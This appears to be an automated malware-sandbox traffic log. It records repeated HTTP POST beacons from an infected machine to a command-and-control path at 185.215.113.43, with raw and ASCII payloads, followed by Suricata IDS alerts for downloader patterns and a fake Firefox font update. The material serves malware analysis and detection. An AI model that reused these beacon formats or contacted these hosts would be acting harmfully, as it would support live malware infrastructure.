Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49759 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49913 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49994 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49997 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49999 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50000 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50001 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50003 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50006 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50010 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50014 -> 185.215.113.16:80
